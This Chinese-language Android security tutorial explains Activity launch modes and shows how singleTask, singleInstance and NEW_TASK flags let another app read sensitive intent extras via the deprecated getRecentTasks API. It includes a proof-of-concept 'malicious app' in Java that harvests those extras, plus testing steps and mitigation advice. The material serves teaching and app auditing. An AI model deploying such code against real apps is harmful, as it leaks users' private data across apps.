Activity-lauuchMode安全
回顾一下
安卓应用Activity的安全风险
android:exported(导出安全) | Implicit Intent(隐式) | android:lauuchMode(Activity启动设置)* | Flag_ACTIVITY_NEW_TASK(Activity启动设置) | android:taskAffinity(Activity启动设置) |
---|---|---|---|---|
安全绕过 | Activity劫持 | 返回劫持 | 信息泄露 | 信息泄露 |
拒绝服务 | 信息泄露 | 返回劫持 | 返回劫持 | |
信息泄露 | ||||
.... |
第三个、第四个是Activity
的启动模式所带来的安全风险
Activity
启动模式的基本概念
1.安卓启动里面以栈的方式管理Activity
2.栈的名称在安卓启动里面叫task
,而task
的命名是以packagename
为命名
3.App
显示的Activity
位于Task
的栈底
4.四种启动模式
1.standard
示例是First
启动Second
,Sencond
启动Third
,在返回时Third
先返回到Second
在返回到First
2.singleTask
我们将First Activity
的启动模式设置为singleTask
,在我们的示例中First
启动了Second
,Second
启动了Third
,Third
启动Activity
时如果启动的是First
这时会检测Task
里面是否是已经存在First Activity
的实例,如果已经存在了则将其上的所有Activity
弹出,也就是将Second
和Third
弹出,让First Activity
置顶
3.SingleTop
将First Activity
的启动模式设置为singleTop
,这时First
启动了Second
,Sencode
启动First
,如果First
在启动First
的时候就会检测Task
的栈顶Activity
是不是First
的实例,如果是First
的实例则直接使用,就不在重新实例化First Activity
在返回时First
会直接返回到Second
,Second
在返回到First
4.singleInstance
我们将Second Activity
的启动模式设置为singleInstance
,这时First
首先启动Secode
发现他是singleInstance
启动模式,这时这会新建一个Task2
,Second Activity
启动到Task2
中,而Second
如果启动Third Activity
时为标准启动模式又将Third Activity
启动到原始Task1
中,这时如果我们返回的话Third
会直接返回到First
,First
在返回会返回到Second
漏洞原理
ActivityManager.getRecentTasks
在安卓官网文档中ActivityManager.getRecentTasks
函数有个说明,该函数在21之后被废弃掉了,原因有可能泄露个人信息给调用者
接下来我们看下他返回的RecentTaskInfo
里面有那些敏感信息,在RecentTaskInfo
类里面有个属性baseIntent
他里面存储了用来启动Task
的Intent
由于Intent
经过测试发现 桟 Activity
和用来启动栈底的Activity
的Intent
不可能通过ActivityManager
来读取,因此都可能存在信息泄露的风险
回过头在看四种启动模式,思考那种模式存在信息泄露的风险。
首先是标准启动模式(standard
)用来启动栈底Activity
,栈底Activity
是First
,First
也是MainActivity
在这种启动模式中我们的栈底Activity
只能是frist
而启动first
的方式是App
启动时第一个Activity
这时Intent
里面是不包含参数的因此不会存在信息泄露的风险
第二种启动模式SingleTask
,这种模式中栈底的Activity
只能为First
,但是在第三步中我们启动First
时有可能会传递参数或者敏感信息,因此存在敏感信息泄露的风险
第三种启动模式SingleTop
,这种模式中栈底的Activity
只能为First
,而栈底的First Activity
只能在App的
启动时调用,而此时不会传递参数,因此不会存在信息泄露的风险
第四种启动模式singleInstance
,这种模式中有两个栈底Activity
,首先是first
作为Task1
的栈底Activity
只有在App
启动时调用,因此他不会转递参数不会存在信息泄露的风险,而Second Activity
由First启用
,有可能会传递参数或者敏感信息,因此存在信息泄露的风险
在四种启动模式中singleInstance
和SingleTask
有存在信息泄露的风险
示例
首先检测App主配置文件Activity是否指定启动模式,另外启动模式是否为singleInstance
和SingleTask
<activity android:name=".SingleInstanceActivity" android:launchMode="singleTask"/>
<activity android:name=".SingleInstanceActivity" android:launchMode="singleInstance"/>
其二需要检查Java代码在启动Activity时指定标志位
Intent intent = new Intent(MainActivity.this,NewTaskActivity.class);
intent.setFlags(intent.FLAG_ACTIVITY_NEW_TASK);
intent.setFlags(Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
intent.putExtra("PARAM","Seven Security Data");
startActivity(intent);
这里我们关注两个标志位分别为FLAG_ACTIVITY_NEW_TASK
和FLAG_ACTIVITY_MULTIPLE_TASK
分别对应singleTask和singleInstance,我们需要注意一点这两个标志位是一个常数,因此反编译后有可能看到是个十六进制的布尔值,官方文档转送点
测试方法
1.查看主配置文件中的所有Activity组件配置;
2.检查源代码中Activity启动方式;
Normal
为测试App,这里有两个示例的Activity
,第一个SingleInstanceActivity
启动模式为singleTask
,第二个是NewTaskActivity
没有指定启动模式
打开Java
代码MainActivity
,查找调用了这两个Activity
的代码,可以看到一个Button
注册了一个点击事件,调用SingleInstanceActivity
传递了参数
然后看下SingleInstanceActivity的定义
查看第二个Button,调用的NewTaskActivity
,并且设置了一个Flags(FLAG_ACTIVITY_NEW_TASK)
也可以指定为Flags(FLAG_ACTIVITY_MULTIPLE_TASK)
相当于启动模式为singleInstance
另外传递了一个传输Seven Security Data
NewTaskActivity定义如下
此时我们将他运行起来查看效果
编写恶意App,用于攻击示例中两个Activity读取他们两个传递的参数
在写好的App中,这两个Button是用来攻击[SingleInstance]
启动Activity和[FLAG_ACtivity_NEW_TASK]
启动Activity的
首先,在单击事件里面我们调用了ReadTaskActivity
并且传递了target
和SingleInstanceActivity
Button btnSingleInstance = (Button) findViewById(R.id.btnSingleInstance);
btnSingleInstance.setOnClickListener(new View.OnClickListener() { // from class: cn.com.budi.activity.evil.MainActivity.4
@Override // android.view.View.OnClickListener
public void onClick(View v) {
Intent intent = new Intent(MainActivity.this, ReadTaskActivity.class);
intent.putExtra("target", "SingleInstanceActivity");
MainActivity.this.startActivity(intent);
}
});
进入ReadTaskActivity
public class ReadTaskActivity extends Activity {
@Override // android.app.Activity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.second_layout);
String target = getIntent().getStringExtra("target"); //首先我们取出target的参数值
ActivityManager activityManager = (ActivityManager) getSystemService("activity");//获取ActivityManager的实例
List<ActivityManager.RecentTaskInfo> list = activityManager.getRecentTasks(100, 1);//通过activityManager调用getRecentTasks获取RecentTaskInfo
StringBuffer buf = new StringBuffer();
for (ActivityManager.RecentTaskInfo info : list) { //然后遍历TaskInfo
Intent intent = info.baseIntent; //里面的baseIntent
if (intent.getComponent().toShortString().contains(target)) {//检测传递参数值target
String param = intent.getStringExtra("PARAM");//如果有将参数读取出来
buf.append("\n Intent包含数据:" + param + "\n\n");//放到buf里面
Log.v("GET", intent.getComponent().toShortString());
}
Log.v("BaseIntent", intent.getComponent().toShortString());
}
TextView txtView = (TextView) findViewById(R.id.second_view);
txtView.setText(buf.toString());//最后在设置txtView里
}
}
在第二个Activity里面通用调用的ReadTaskActivity
,不过传递的target
值为NewTaskActivity
接下来运行恶意App
和NormalApp
调用NormalApp
中的SingleInstance启动Activity
转递了six Security Data
使用恶意App
对泄露的信息进行读取
然后就是最后一个Button FLAG_ACTIVITY_NEW_TASK启动Activity
,调用一下它
传递了Seven Security Data
切换到恶意App
用FLAG_ACTIVITY_NEW_TASK
信息泄露这个Button
来读取刚才传递的信息
我们将测试App
的FLAG_ACTIVITY_NEW_TASK
改为FLAG_ACTIVITY_MULTIPLE_TASK
看下效果
同样的点击FLAG_ACTIVITY_NEW_TASK启动Activity
同样传递的是six Security Data
同样用恶意APP
读取刚才传递的参数值six Security Data
说明SingleTask
和SingleInstance
都存在信息泄露风险(该Api已被ban,学习一个思路)
安全建议
1.避免使用 singleTask和singleinstance
<activity
android:name=".activity.FirstActivity"
android:name="FirstAPP"
~~android:launchMode="singleInstance">~~(这是一条删除线)
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
2.避免不设置 FLAG_ACTIVITY_MULTIIPLE_TASK
和FLAG_ACTIVITY_NEW_TASK
属性
Intent intent = new Intent(FirstActivity.this, SixthActivity.class);
~~intent.setFlags(intent.FLAG_ACTIVITY_NEW_TASK)~~(这是一条删除线)
intent.putExtra("PARAM",Security Data");
startActivitv(intent);
如必须使用,不应该传递敏感信息